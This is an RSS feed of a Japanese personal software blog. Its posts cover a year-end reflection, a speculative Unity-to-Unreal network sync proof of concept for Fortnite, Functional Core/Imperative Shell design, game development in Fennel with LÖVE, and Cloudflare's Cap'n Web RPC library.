Posts on www.neguse.dev https://www.neguse.dev/posts Posts on www.neguse.dev Sat, 21 Mar 2026 09:05:15 GMT https://validator.w3.org/feed/docs/rss2.html 2025年が終わった https://www.neguse.dev/posts/57 https://www.neguse.dev/posts/57 Sun, 04 Jan 2026 00:00:00 GMT
2025 年が終わった。ほんまか。

2025 年は大きめな変化があった。会社をやめ、無職になり、ハロワにも行き、個人事業主になり…
とはいえ現時点で日々の過ごし方はそれほど変わっていない。
直近生活に困るような状況にないのはありがたいことである。

40 歳を目前に、今後どう生きるか
確たる答えはない

世の中、自分のふるまいでどうにかなる範囲と自分が何やってもどうにもならない範囲があり、だいたい後者がでかくてどうしようもないので、思い悩んでもしょうがない。
それはそれとして割り切りながら日々生きつつ、少しずつでもやりたいことを実現していくのが大事という気持ちでいる。

## できたこと、今後やりたいこと
### unkonow β
[unkonow β](./51)

WEB サービスを開発して稼働させている。そんなに盛り上がっている状況ではないが…

最近の SNS について思うところがあり、また現役で「うんこなう」ツイートをしている方々を見るに、「あのころのツイッター」が求められてるんではという気がする。
とはいえ単に当時のツイッターを再現しても社会的責任とか難しいこともあるし、なにより SNS は数がいることが正義という側面もあるのでまあ難しい。
「一人で使ってもトイレライフが充実する」「それを共有できる」という方向で今後何かしらできないかと思っている。

oshic.co というサービスがあり、最近これを参考に見ている。
unkonow はだいぶクリーンにやりすぎているのかもしれない。(個人情報保護法とか…)

### UE と Unity がなかよくする方法
年末に記事を書いた。[UE と Unity がなかよくする方法](./56)

割とタイムリーな内容だし、自分の専門性が活かせる(ゲームエンジン、リアルタイム通信)領域だったので、
いい感じの露出の仕方をすればまあまあ見てもらえるんではと思っていたけど、自分基準ではそこそこ見てもらえた。

twitter analytics
reddit analytics

特に[Reddit の投稿](https://www.reddit.com/r/Unity3D/comments/1pbh6mp/i_figured_out_how_to_build_a_game_in_unity_and/)はいろんなコメントをもらえて面白かった。

今後もいい感じのテーマ、タイミングがあったら狙っていきたいけど、なかなかないやろなあという気もする。
逆に、普段からコンスタントに投稿して個人のプレゼンスを増す方向性のがいいのかな…と思うときもあるけど、自分には合ってないように思う。

### 個人ゲーム開発
2025 年前半に試作していたゲームがあったのだけど、結局リリースするところまではいっていない…
一方小さいゲームをひとつ作った。[S is shot](./54)

小規模でも売り物としてゲームをリリースするためには、ある程度体裁を整える必要があると思っており、結局そこのやり方確立がまだ自分個人のスキルとして足りていないように思っている。
そのあたりの勉強も兼ねて、また自分が理想とするゲーム開発環境の追求をやってみたさもあり、[なんか](https://github.com/neguse/mane3d)を書いてみている。
もうちょっと進展したタイミングで、なんかしら考えていることを書きたい。

### 個人デバイス開発
これはまだ妄想レベルではあるが…
[外でいいキーボードで作業したい](https://gist.github.com/neguse/916d9669e9068714c5a1ec21b8b2f8ef)で書いてるようなことをいい感じに実現したいなという話。
結局デバイスを(部分的にも)自分で作るのがいいのではという気持ちになっており、3D プリンタも入手したのでやっていきたい。

## LLM
LLM の台頭によりソフトウェア開発の方法がだいぶ変わってきているが、今後の方向が見えつつある状況とは思う。
初心者向けとしては「勉強の補助」「ブートストラップ」に LLM は有用で、ただしそのままコードベースが大きくなってくると現状の LLM に全任せでは容易に破綻する。
ある程度組織だった開発を回せる方向けとしては、LLM が暴れても品質が保たれるよう人間がガイドレールを敷いたり、テクニカルな理解やプロダクト面での思想を人間が注入することで、ある程度 LLM に開発作業をオフロードできるという印象はある。

なんにせよノースキルでなんでも作れるようになる未来は当分来ず、プロフェッショナルなエンジニアリングスキル(テクニカル面でも、マネジメント面でも)の必要性は保たれるというふうに見ている。

ソフトウェアエンジニアが LLM を 1 つ試すなら、Claude Code がいいように思う。
一ヶ月ぐらい Max プランでぶんまわすと、できることとできないことの肌感がつきそう。

## おわりに
本年もよろしくお願いいたします。
]]>
UEとUnityがなかよくする方法 - Unite 2025をみて、実際に作ってみた https://www.neguse.dev/posts/56 https://www.neguse.dev/posts/56 Mon, 01 Dec 2025 00:00:00 GMT
この記事は [趣 Advent Calendar 2025](https://adventar.org/calendars/11756)の 1 日目の記事です。
今年もたくさんの趣メンバーが集まりました。トップバッターとなり大変恐縮ですがよろしくお願いいたします。

---

先日 Unity の開発者カンファレンス Unite 2025 のキーノートで、「来年 Unity で開発したゲームを Fortnite 上で公開することができるようになる」というアナウンスがあった。

- [オープンで相互運用可能なビデオ ゲームの未来に向けて Unity と Epic Games が共同での取り組みを発表](https://www.unrealengine.com/ja/news/unity-and-epic-games-together-advance-the-open-interoperable-future-for-video-gaming)
- [Unity と Epic Games 、オープンで相互運用可能なゲームの未来を共に推進](https://unity3d.jp/news/unity-and-epic-games/)

この発表はかなりインパクトがあった。Fortnite は Unity ではなく Unreal Engine(以後 UE)で開発されており、まったく技術が異なる。
ゲーム開発者の中でも「どうやっているのか」「本当にできるのか」という話題が盛り上がっていた。
この記事では、実際に動く PoC の開発を通じて、これの技術的な実現可能性を探っていきたい。
一般的なゲームの通信方式について興味ある人の参考になるよう、必要な技術の説明はかなり詳しく行っている。

(この記事の内容は、あくまで neguse 個人の推測であり、当たるも八卦当たらぬも八卦である。詳細は来年公開されるという話なので答え合わせが楽しみである。)

結論を先にいうと、こういうのができた。

## 推測の材料
推測をする上で参考になるのが、Epic Games の CEO である[Tim Sweeney](https://x.com/TimSweeneyEpic)氏のツイートやリプライである。

まとめると以下のようになる。

- Unity が開発した新しいネットワークプロトコルにより、来年 Unity のゲームを Fortnite 上に持って来ることができる。
- バージョン 1 は低レベルのネットワークプロトコルで、それにより Unity で動作するサーバを他のソフトウェア - つまり UE に接続することができる。
- プログラミング言語や API は一致する必要がない。
- [pixel streaming](https://ue5study.com/unrealengine-pixelstreaming/)(いわゆるクラウドゲーミング)ではなく、古くからあるマルチプレイヤーゲームにおける client-server 通信に近い。
- バージョン 1 はオープンな基本的なバージョンで、早く提供できる。より高レベルな、相互運用可能スクリプト、データ永続性、スマートオブジェクト([UE 用語](https://dev.epicgames.com/documentation/ja-jp/unreal-engine/smart-objects-in-unreal-engine---overview)?)などは後回しになる。

以降では、これがどういうものなのか、実現可能なのかを解説しながら探る。

## マルチプレイヤーゲームの通信トポロジって?
具体的な方法に入る前に、そもそも client-server ってなんぞやという話がある。
以後の話を理解するための材料として、ここではマルチプレイヤーゲームの一般的な仕組みについて述べる。
特に新しい情報があるわけではないので、ある程度知っている方は飛ばしていただいて問題ない。

マルチプレイヤーのゲームでは、ノード(ゲーム機で動いているゲームアプリケーション)間がどのように接続して通信するかの方式(これを通信トポロジという)が大きくわけて 3 つある。
この分け方はある程度一般性はあるものの呼び方にブレがあるため、あくまでこの記事内での呼び方・定義であることに注意。

- node が対等
  - full mesh
- server node が存在
  - listen server
  - dedicated server

以下、それぞれを説明する。どれが優れているということはなく一長一短で、ゲームの特性によって向き不向きが存在する。

### full mesh

A Node A B Node B A--B C Node C B--C C--A

full mesh では各ノードは対等の関係で、各ノードは他の全ノードへの接続を行う。
full mesh のメリットはノード間が直接通信されることでレイテンシが少ないことが挙げられる。
一方デメリットは、現実的にはノード数や通信量を増やすことが難しいことが挙げられる。

ノード間の直接通信には一般に[NAT Traversal](https://ja.wikipedia.org/wiki/NAT_traversal)技術が必要で、これの成功率は 100%ではない。
full mesh では全てのノードが互いに接続する必要があるため、たとえどこか 1 つのノード間の通信ができないだけで通信が行えなくなる。
またあるデータを送信する時、自分以外のすべてのノードにデータを送るため通信量も O(ノード数)で増える。

(このデメリットを解消するため、relay server を使った通信トポロジもあるが今回は割愛する)

full mesh は、たとえば格闘ゲームのオンライン対戦に向いている。格闘ゲームは相手の反応を伺いながら自分の行動を決める特性上レイテンシにシビアであり、またコントローラの入力データのみ同期して各クライアントで全く同じ結果を再現する方式(deterministic)で実装できるため、少量の通信を対等な関係のノードに配ることで実現できるためである。

### listen server

A Node A B Node B A--B C Node C A--C

listen server はどれか 1 つのノードが「クライアント兼サーバ」(ホストと呼ばれることもある)となり、他のノード(ゲストと呼ばれることもある)はサーバとだけ接続して通信を行う。
この図でいうと、Node A が listen server となり、他の Node B/C は A とだけ接続を行う。

listen server のメリットは、非サーバノードがサーバとだけ接続すればいい点、正となるゲーム状態をサーバが持てる点が挙げられる。

接続については、必要な接続本数が減ることで全体としての接続の成功率が上がるのである。

ゲーム状態の話については、たとえばエルデンリングやモンスターハンター、あるいはスプラトゥーンのようなゲームで、敵に自分が弾を撃って攻撃することを考える。
このとき、Node A では攻撃が当たって倒れたが、Node B では攻撃が当たらなかったという異なる結果になることは回避したい。
listen server では「Node A の結果が正しい」ということにしてその結果を他の Node に同期するという仕組みで、状態のズレを容易に回避することができる。
またこれらのゲームでは「コントローラの入力が即座に自分のキャラクターに反映できることが重要」かつ「オブジェクトの物理シミュレーションなど状態を巻き戻すことが困難な計算が多い」ため、一時的なサーバとのズレを許容しつつ重要なデータのみ最終的に整合するよう処理を進めていく方式となっていることが多い。

一方 listen server のデメリットは、サーバに負荷が集中する点、ゲームの公平性やチート耐性が担保されない点が挙げられる。

なぜサーバに負荷が集中するかというと、それは非サーバノードの接続本数は full mesh より減ったものの、サーバは自身以外の全ノードに接続し通信を行う必要があるからである。
通信処理によってサーバの負荷が高まる結果、サーバとなったユーザのゲーム体験に影響が出たり、あるいはサーバがクラッシュしたり接続が切れた場合全員の通信が行えなくなってしまう。
(切断の影響についてはホストマイグレーションという技術で緩和しうるが、これはこれで UE でのサポートが無いなど茨の道である。)

ゲームの公平性への影響は、つまりサーバが非サーバより有利になるのである。
サーバ以外のノードは正となる状態を受け取るまで通信時間が必要だが、サーバは通信を行わなくても即座に状態がわかるため、一般的に有利になりやすい。
また通信をごまかしたり状態を改ざんするようなチートについても、非サーバでの行為はサーバへのリクエストを拒否する等で制限しやすいが、サーバでの行為は「正となる状態」を直接コントロールできるため制限しにくい。
これらから、公平性やチート耐性が重要な競技ゲーミング分野においては listen server 方式は明確なデメリットがある。

### dedicated server

S Node Server A Node A S--A B Node B S--B C Node C S--C

dedicated server は listen server に似ているが、サーバは専業となりクライアントと分離されている点が異なる。
この図でいうと、Node Server が dedicated server となり、他の Node A/B/C は Node Server とだけ接続を行う。
dedicated server はゲームパブリッシャーが提供することもあれば、ユーザ環境で自由に起動できる場合もある。
dedicated server では一般にゲームプログラムの画面描画処理が除かれた専用のビルドやモードが用意され、ゲームアプリケーション本体より少ないリソースでの稼働が可能である。

dedicated server のメリットは、前述の listen server のメリットをすべて享受したうえで、さらにデメリットを潰すことができる点である。

server を分離し専用のマシンで動作させることで、負荷をコントロールでき通信が安定しやすい。
server をユーザの手が届かない場所で動作させることでチートを防ぐことができ、通信にかかる時間も(サーバまでの各自の物理的・ネットワーク的な距離という要素はあるものの)一律公平にかかる。
Minecraft や ARK: Survival Evolved, Rust のような「ゲームを起動しているかどうかによらず NPC が動き、世界の時間が経過する」ということも実現できる。

dedicated server のデメリットは、とにかくインフラコストがかかるという点である。

パブリッシャーが提供する場合はパブリッシャーのインフラコストがかかる。
このことはつまり、定期的な収益が見込めない場合サービスの維持が難しくなるということである。
パッケージとしてある程度まとまった額を払いその後は無料で遊べるというスタイルの売り方のゲームだと、発売からの時間経過により売上規模がシュリンクしていき、いずれサーバインフラコストを賄うことができずサービスを閉じざるを得なくなる。
そのため月額課金や小額課金などで「新規ユーザ数よりアクティブユーザ数」に応じた収益の手段を確保しておかないと、長期的なサービスの提供は難しい。

ユーザ環境で稼働させる場合でもユーザ側でインフラをもつコストがかかる。
[ロリポップ! for Gamers](https://gamers.lolipop.jp/)[Nitrado](https://server.nitrado.net/)のような複数のゲームサーバに対応したサードパーティーのサービスや、あるいは[Minecraft Realms](https://www.minecraft.net/ja-jp/realms)のようなゲームパブリッシャー自身が提供するサービスもあるが、どれも月額利用料がかかり、また接続数に応じて必要となるキャパシティは増えるため多人数で遊ぶためのサーバはさらに高額になる。

## UE の通信方式
さて、UE や Fortnite がどう通信しているかを解説する。

UE では、標準の機能として listen server, dedicated server の 2 つに対応している。
これは UE 自体が[Unreal](https://ja.wikipedia.org/wiki/Unreal)[Unreal Tournament](https://ja.wikipedia.org/wiki/Unreal_Tournament)といった FPS のために開発されたという出自による。
FPS も前述のとおり「コントローラの入力が即座に自分のキャラクターに反映できることが重要」かつ「オブジェクトの物理シミュレーションなど状態を巻き戻すことが困難な計算が多い」ゲームであるため、server が必要である。

UE ではノード間の同期をサーバからの状態の同期「Replication」と、ノード間での処理の命令「RPC」という形で行えるようになっており、これらを組み合わせて使うことでサーバで状態を整合させる仕組みを容易に実装できるようになっている。
逆にいうと、full mesh の例で挙げたような「キー入力だけ同期して全状態を再現性ある形で実現する」方式には標準では対応していない。
これは UE で格闘ゲームが作れないということは意味しておらず、実際[鉄拳 8](https://tk8.tekken-official.jp/)[GUILTY GEAR -STRIVE-](https://www.guiltygear.com/ggst/jp/)など UE 製格闘ゲームは数多く存在するが、それらはおそらく UE 標準の通信の仕組みは使っておらず、独自の方式、あるいはサードパーティーのミドルウェアを採用していると思われる。

UE での通信の実装方法に興味のある人は[Multiplayer Network Compendium](https://cedric-neukirchen.net/docs/category/multiplayer-network-compendium/)がわかりやすい入門記事になっている。

Fortnite は、基本的に dedicated server で動作していると思われる。
たとえばバトルロイヤルであれば 1 ゲーム最大 100 人が接続するが、だれか 1 人がゲームを終了しても他の 99 人はゲームが引き続き遊べるためである。

## では、Unity と UE をつなぐ通信方式は?
だいぶ事前準備が長くなったが、ここからが本題である。

ずばり dedicated server と推測する。ただしプロトコルは新規で、UE の方式ではないと思われる。

ここまで読まれた方なら、前述の Tim Sweeney 氏のツイートにある`It’s a lot closer to the traditional client-server comms protocols of multiplayer games`から、listen server ないし dedicated server であることがわかるかと思う。

またユーザが動かすゲーム自体はあくまで Fortnite で、server のみ Unity とすることで API 非依存にするというアプローチなので、listen server でもない。
したがって dedicated server なのである。

通信プロトコルも、UE の Replication や RPC に則ることのデメリットが大きい(Replication や RPC のデータ構造は API に依存するため)ため、おそらく独自のものである。(そもそも新しく開発したという発言があるが)

図にするとこうである。
cluster_epic Epic Games Server cluster_unity Unity製 Dedicated Server (開発者が作成) S Fortnite用 Server Component A Fortnite (UE) S->A B Fortnite (UE) S->B unity protocol C Fortnite (UE) S->C

ゲーム開発者は Unity でゲームを開発する。ここに Fortnite との通信ができる dedicated server として動作するための専用コンポーネントを仕込んでおく。

Epic Games は開発者が作った Unity 製 dedicated server を(Fortnite の dedicated server のように)独自のインフラで稼働させ、ユーザ環境の Fortnite から接続できるようにする。
こうして Unity で実装されたゲームコンテンツが Fortnite から体験できるというわけである。

## やってみたことの紹介
ということで、ここから PoC として作ったものを紹介する。
百聞は一見にしかず。

Unity と Unreal Engine とで、オブジェクトの状態が同期されるような仕組みを作った。
これにより、Unity 側のコンテンツが、そのまま UE で遊べるようになった。

(今は手抜きで Unity 側は Editor で起動しているが、これはそのまま [Dedicated Server](https://docs.unity3d.com/6000.0/Documentation/Manual/dedicated-server-introduction.html) ビルドにしても動く…はず)

ちなみにざっくり動くようになるまで 2 日間ほどかかった。
初日でそれぞれのビルド環境を用意してソケット生成までを書き、2 日目でオブジェクト同期を(ほぼほぼ Claude Code が)書いた。

### 詳細な解説
こちらのソースコードを見ながら読んでください。
https://github.com/neguse/usync

ざっくり以下のようなことをやっている。
cluster_unity Unity (Server) cluster_ue Unreal Engine (Client) UC Server Component (MonoBehaviour) GI GameInstance (UDP受信) UC->GI オブジェクト状態 UO Game Objects (ID,位置,回転,スケール) UO->UC 状態取得 GI->UC プレイヤー入力 UA Actors (位置,回転,スケール) GI->UA 状態反映

Unity 側では MonoBehaviour ベースの [Server](https://github.com/neguse/usync/blob/master/UnityServer/Assets/Scripts/Server.cs) component がゲームオブジェクトの状態同期を行っている。
具体的には以下のことをしている。

- UDP ソケットの生成
- 初回パケット受信時のプレイヤーの生成
- 毎フレーム、ゲームオブジェクトの状態を収集し、パケットとして送信
- 毎フレーム、プレイヤーの移動
- しばらくパケットの届かないプレイヤーの削除

UE 側では、 [GameInstance](https://github.com/neguse/usync/blob/master/UnrealClient/Source/UnrealClient/UnrealClientGameInstance.cpp) でゲームオブジェクトの状態同期を行っている。
具体的には以下のことをしている。

- UDP ソケットの生成
- サーバに初回パケットを送信
- 受信したパケットから Actor を生成
- 毎フレーム、入力をパケットとして送信
- 毎フレーム、受信したパケットからオブジェクトの位置を補間しつつ表示

通信パケットは、ざっと以下のような感じ。

```text === Server -> Client === ServerPacket = Timestamp ObjectCount { Object } ; Timestamp = int32 int32 ; (* Server time in microseconds, low/high 32bits *) ObjectCount = int32 ; Object = InstanceID ObjectType ClientID Position Rotation Scale ; InstanceID = int32 ; (* Unity Transform.GetInstanceID() *) ObjectType = uint8 ; (* 0: Unknown, 1: Sphere, 2: Cube, 3: Capsule *) ClientID = int32 ; (* Owner ClientID for Capsule, 0 otherwise *) Position = Vector3 ; Rotation = Quaternion ; Scale = Vector3 ; Vector3 = float float float ; (* X Y Z *) Quaternion = float float float float ; (* X Y Z W *) === Coordinate Conversion (Unity -> Unreal) === Position: (X, Y, Z) -> (X * 100, Z * 100, Y * 100) Rotation: (X, Y, Z, W) -> (X, Z, Y, -W) Scale: (X, Y, Z) -> (X, Z, Y) ```
つまりヘッダとしてタイムスタンプとオブジェクトの数が入り、その後オブジェクトの数だけプロパティがそのまま並んでいるだけである。 たったこれだけで同期が実現できるのである。 ### やってみたことに足りてないこと で、これで動いた!完成!かというと全然そんなことはない… #### 同期プロトコルの機能拡充 今はとにかくシンプルな実装になっているが、サーバ・クライアント共にいろいろ足りない点が多い。 - MTU を超えないような対応 - MTU を超えた UDP パケットを送ったとき自動的にフラグメントされるが、ここの振る舞いがコントロールしづらい - 一般的には自分で分割するのがよいとされている。QUIC などのプロトコルも自前で MTU を超えないよう分割するようになっている - 通信量の削減 - データ圧縮 - 位置や可視性によるカリング - 変更されていないデータのスキップ - 攻撃の対策 - 補間の改善、とくにプレイヤーキャラクターとのインタラクション このへんをやりたい場合は、[Gaffer On Games](https://gafferongames.com/)[Networked Physics](https://gafferongames.com/categories/networked-physics/)シリーズを一通り読んでおくとよい。 かなり詳しく、具体的な内容が記されている。 #### アセット(3D モデル等)は? 言及がほぼないので推測が難しいのだが、Unity からエクスポートしたアセットを UE 側に取り込める形式に変換するのが王道だろうか。 その場合 glTF や USD のようなオープンなフォーマットを介するのが有力と思われる。 あるいは Fortnite や UE 用のアセットを Unity からも使えるように両対応する仕組みを用意して、両対応アセットのみ利用可というアプローチもありうる。 その場合[Fab](https://www.fab.com/)[Unity Asset Store](https://assetstore.unity.com/)との連携が利用される可能性もある。 いずれにせよ、Unity と UE とではレンダリングパイプラインが異なるため、同じアセットを使ったとしても同じような見た目になることは担保しづらいように思う。 #### クライアントの処理は? 前述の通り、listen server / dedicated server は「クライアントとサーバの一時的なずれを許容することで、コントローラの入力が即座に自分のキャラクターに反映できる」手法だった。 このメリットを享受するためには、クライアントでもサーバと似た形で処理を動作させる必要がある。 たとえば「ボタンを押したら回避行動をとる」という仕様をクライアント上で遅延なく実行するには、そのロジックがクライアントにもサーバにも必要なのである。 今回の PoC の方式では、クライアントからサーバへはあくまで操作だけ送っている。 これだと動いた結果をサーバから受け取ってようやくクライアントに反映されるため、コントローラの入力が自分のキャラクターに反映されるまでに時間がかかり、これはゲームの特性によっては致命的である。 Unity/Epic Games がここを解消するつもりがあるのかどうか、またそのときに「プログラミング言語や API は一致する必要がない」という前述の話がどれぐらい維持されるかに関心がある。 自分の推測では、「プレイヤーキャラクターの挙動は最初のバージョンではカスタマイズできず、Fortnite のキャラクターがそのまま動かせるだけ」というのが落とし所なのではないかと思っている。 ここが変えられると、そもそも Fortnite のゲーム体験からずれてしまうという話もある。 ## まとめ 以上、Unite で発表された「Unity 製コンテンツを Fortnite に持ってこれる」という話を、Tim Sweeney 氏の発言をもとに、「UE と Unity がなかよくする方法」の仕組みを推測し、PoC を開発してみた。 実現可能性はだいぶ見えたが、一方で課題もある。 うまく実現されるのか。実現できたとしてはたしてその先はどうなるのか。 今後も注目していきたい。 (Verse がオープンソース化するという話は一体いつ… [UE6 にはフォートナイト用の言語「Verse」が導入される?GDC 2024 の Verse 講演から見るアンリアルエンジンの今後](https://gamemakers.jp/article/2024_04_22_66556/)) ## で、おまえ誰? 今年フリーランスの個人事業主になったソフトウェアエンジニアの[neguse](https://x.com/neguse)といいます。 いままでゲーム/メタバースプラットフォームを 10 年以上開発してきて、主にリアルタイム通信やサーバを担当してきました。 この記事ぐらいの技術的な話ができ、いろいろ調べながら実装ができます。 なんか話したい方がいたらお気軽にご連絡ください。お返事できたらします。記事のご意見やご感想も大変ありがたいです。 SNS、[固い話用フォーム](https://forms.gle/Ej9HNunHU7JuQ9rE6)[やわらかい話用マシュマロ](https://marshmallow-qa.com/neguse)などがあります。 (なお直近の空き稼働枠的な意味で、近々一緒にお仕事しましょう的なお話はお断りすることになる確率が非常に高いです。) https://www.neguse.dev/ ## おわりに 次の 2 日目は Tomohiro Nishimura さんの「趣」です。趣を感じていきましょう。
]]>
Functional Core, Imperative Shell を見て、純粋関数と節分について https://www.neguse.dev/posts/55 https://www.neguse.dev/posts/55 Thu, 20 Nov 2025 00:00:00 GMT
[Functional Core, Imperative Shell](https://www.destroyallsoftware.com/screencasts/catalog/functional-core-imperative-shell)というスクリーンキャストを見た。(以後 FCIS と略す)
これは、ツイッタークライアントを「純粋な関数/オブジェクト群(Functional Core)」と「それをとりまく IO と状態更新(Imperative Shell)」にわけて実装するという作り方を解説している。
純粋な関数はモックなど使わずにテストしやすいし、振る舞いが理解しやすい。
IO の処理は最小化されており、この部分はテストしていないが条件分岐などがなく問題が起きにくいということだった。

この整理の仕方を見て、自分はしっくり来た。
[The Elm Architecture](https://guide.elm-lang.jp/architecture/)(以後 TEA)を触っていた時も、`Update : Msg -> Model -> Model` として、つまり Update を入力と状態を受け取って新たなる状態へと変換する純粋関数として書けるのはありがたいと感じていた。
FCIS 的にいうと、Model と Update が Functional Core で、それ以外(Elm のランタイム処理含む)が Imperative Shell であると言える。
Elm はきれいだけど実用がむずかしい箇所があるように思っていて、それは TEA が強制されすぎる所だと感じていた。
緊急ハッチ的に「ここは素の JavaScript が書きたいんですよ」に対応しづらいのである。
(いちおう[Port](https://guide.elm-lang.jp/interop/ports.html)という仕組みはあるが…)
つまり Elm は FCIS 的ではあるが、Imperative Shell が固定され、Functional Core を実装するだけでなんとかしてくれという強制力が強すぎるのではないか。
FCIS であればあくまで言語やフレームワークによる制限でなくセルフ縛り的なものなので、そこの良し悪しはあるものの、より現実の泥臭い問題に対処しやすいのではないか。

以前[Clean Architecture](https://www.amazon.co.jp/dp/4048930656)という本を読んだが、自分の理解でいうとこれも大雑把にいうと「内と外」の話である。内に大事なビジネスルール、外にやっかいな UI や IO を置き、依存関係を一方向にすることで整理するという。
(よく Clean Architecture の説明でみる[円の図](https://blog.cleancoder.com/uncle-bob/2012/08/13/the-clean-architecture.html)はあくまで例であって、「こう分けるのがよい」という話ではないという理解をしている。実際 「円の数を決めるルールではなく、依存の向きがルールだ」 ということが書かれている)
FCIS も Clean Architecture もやっていることは節分、つまり守りたい価値がある重要なものを内におき、やっかいなものを外に分ける「鬼は外福は内」といえる。FCIS は Clean Architecture を補強し、「内にあるものは純粋関数のほうがよい」と言えるのではないだろうか。

最後に補足として、なんでもかんでも純粋関数がいいという話ではない。
それこそ UI やデータストレージのようなものは状態を持つのが仕事なわけで、そこを下手に分けようとすると逆に難しさが生まれてしまう。
またパフォーマンス面も気になる。[純粋関数型データ構造](https://www.amazon.co.jp/dp/4048930567)のようなやり方もあるが、破壊的な操作を許すデータ構造のほうが基本的には計算効率がよい。
ゲームプログラムが純粋関数にならんか…というのを昔から考えているけど、なかなか浸透しないのはこのへんも関係あるんじゃないかと思う。
([一時期](https://pc.watch.impress.co.jp/docs/column/kaigai/555239.html)超並列計算機がゲームでもあたりまえに使われる世界が来ると純粋関数の作り方に置き換わっていくのでは…という期待があったが、結局いまのところ来ず、相も変わらずメインスレッドに律速されるのだった…)
]]>
Lispでゲームを開発するということ https://www.neguse.dev/posts/54 https://www.neguse.dev/posts/54 Mon, 10 Nov 2025 00:00:00 GMT
Lua と相互運用可能な Lisp の方言のプログラミング言語で[Fennel](https://fennel-lang.org/)というのがある。最近これを使って、ちょっとしたゲームを作ってみた。

個人でゲームを作ることを考えたときに、開発環境に何を求めるか…というのを考えてきた。
その中で、自分は以下のようなことを重要視したいと思った。

- イテレーションの速度
  - コードを書いて次の瞬間にはもう反映されている、ゲーム状態をリセットせず継続できる、というのが理想
- asset as code
  - ゲームにはプログラム以外にも画像、音声、3D モデル、アニメーション、などなど様々なアセットが必要となる
  - アセットを特定のバイナリフォーマットやツールに依存することなく、プログラムと同等に扱えるようにしたい
    - ゲームコードからアセットを生成しそのまま利用するようなことがしたい
    - ようは JSON みたいな扱い方をしたいということ
- 完全理解
  - すべての処理を完全に理解できる範囲で書きたい
  - 気になった部分はすべてコードを読んで、手を入れられるようにしたい
- [glm](https://github.com/g-truc/glm)ライクな簡潔な vector/matrix 計算がしたい

以上のことを(たぶん全部完璧にやるのは難しいので)いいバランスで実現しようと思ったとき、Lisp が向いているのではと思った。

- REPL があり、プログラムを動かしながら、書いたコードを反映できる
- S 式という柔軟なフォーマットがあり、マクロで DSL を作れる
- 言語仕様も処理系もシンプルで、実装を完全に把握できる

そこで Lisp でゲームを作る時に今どんな感じかというのを調べていたら、前述の Fennel という言語を見つけた。
これは Lisp で書いたコードを Lua にコンパイルして実行できるもので、Lua 関数を Fennel から呼んだり、Fennel 関数を Lua から呼んだりということがごく自然にできる。
Lua で 2D ゲームを作る時に使える[LÖVE](https://love2d.org/)というフレームワークがあり、Fennel を用いて LÖVE を操作することも問題なく行える。
さらに、このへんのことを調べていたときにちょうど[Autumn Lisp Game Jam 2025](https://itch.io/jam/autumn-lisp-game-jam-2025)というゲームジャムが開かれており、これ幸いと参加することにした…というのが冒頭のゲームを作った経緯です。ちょうど[Fennel+LÖVE でゲームを作るチュートリアル記事](https://itch.io/jam/autumn-lisp-game-jam-2025/topic/5480272/making-games-with-fennel-and-love2d)も公開されており、参考になった。

久々に Lisp を書いてみて、思ったよりめんどくないなと思った。
というのも、Fennel においてはいわゆる car/cdr みたいなリスト操作は不要で、Lua の table を操作する関数がそのまま利用できる。
またエディタ拡張として[Parinfer](https://shaunlebron.github.io/parinfer/)という仕組みがあり、これを使うとカッコを手入力する必要がだいぶ減り、インデントに応じてエディタ側が勝手にカッコを付け外ししてくれる。自分は Neovim のプラグインを利用した。

イテレーション速度においては、今回あまりエディタや環境の便利機能を追求する時間がとれず、特定のコマンドでソースを一括でリロードするだけであった。それでも操作した次の瞬間には最新のコードが反映されており、かなり快適だった。

というわけで、Lisp で個人ゲーム開発をするということに割と好感触を持った。
今回試せなかった DSL によるアセット生成や、計算ライブラリの利用、3D ゲーム開発への応用、エディタ機能の活用など、今後さらに深ぼっていきたい。
]]>
Cap'n WebというRPCシステム https://www.neguse.dev/posts/53 https://www.neguse.dev/posts/53 Wed, 24 Sep 2025 00:00:00 GMT
[Cap'n Web: a new RPC system for browsers and web servers](https://blog.cloudflare.com/capnweb-javascript-rpc-library/)というのが面白そうだった。

Cap'n Web は新しい RPC システムで、特徴としては、JS/TS の環境(ブラウザやサーバ)で便利に機能する点。

以下のような特徴をもつ

- スキーマレス (gRPC の.proto のようなファイルは不要)
- HTTP(単発バッチ)、WebSocket(持続接続)、MessagePort(ブラウザ内通信)で利用可能
- JSON をベースとしたシリアライズ形式 を利用(前身である Cap'n Proto がゼロコピーバイナリシリアライズをやっていたのとは対照的)
- RPC で関数を含むオブジェクトを受け渡せる

もともと Cloudflare Workers には[組み込みの RPC のシステム](https://blog.cloudflare.com/javascript-native-rpc/)があったが、Cap'n Web はそれを機能的におおむね互換する形で、Cloudflare 以外の JavaScript 環境でも使える OSS として提供されている。また[Workers RPC と相互運用性](https://github.com/cloudflare/capnweb?tab=readme-ov-file#cloudflare-workers-rpc-interoperability)もあり、今後不足している機能が拡充されていくということなので、最終的には置き換えを狙っているように思える。

RPC(Remote Procedure Call)はその名の通りリモートの処理を呼び出しできる仕組み。今だと[gRPC](https://grpc.io/)は有名なので知ってたり使った事ある人もいるかもしれない。

gRPC だと[サービス](https://grpc.io/docs/what-is-grpc/core-concepts/#service-definition)として定義されたメソッドを呼び出せるだけであったが、Cap'n Web では関数を渡して、それを相手から呼び出すこともできる。これにより、たとえば「認証の結果得られたオブジェクトを介して、認証後でないとできない操作を行う」ということが自然と実現できる。

```javascript // https://blog.cloudflare.com/capnweb-javascript-rpc-library/ の例より // // 以下のようなserverを実装して class MyApiServer extends RpcTarget { authenticate(apiKey) { let username = await checkApiKey(apiKey); return new AuthenticatedSession(username); } } class AuthenticatedSession extends RpcTarget { constructor(username) { super(); this.username = username; } whoami() { return this.username; } // ...other methods requiring auth... } // // 以下のようにclientから呼び出す let batch = newHttpBatchRpcSession("https://example.com/api"); // Authencitate the API key, returning a Session object. let sessionPromise = batch.authenticate(apiKey); // Get the user's name. let name = await sessionPromise.whoami(); console.log(name);```
クライアントから session を得るには authenticate()を介するしかないため、認証を介さない whoami()呼び出しは行えない。 これは[Capability-based security](https://ja.wikipedia.org/wiki/Capability-based_security)と呼ばれる仕組みで、 最近だと WASM の WASI でも採用されているらしい。 https://www.chikuwa.it/blog/2023/capability/ Cap'n Web はだいぶ面白くて実用的になりそうな気がする。 クライアントもサーバも JavaScript/TypeScript で実装している場合は、Cap'n Web を採用することで開発の効率がかなり良くなるのでは… 一方、言語をまたいだ呼び出しが必要な場合や、シリアライズ結果の通信コストを気にしないといけない用途だと向いてないかもしれない。 あと、サーバやクライアントをバージョンアップさせる時にどういうフローでやるんだろう(タイミングがずれると互換性壊れたりしないか?)というのが気になった。
]]>
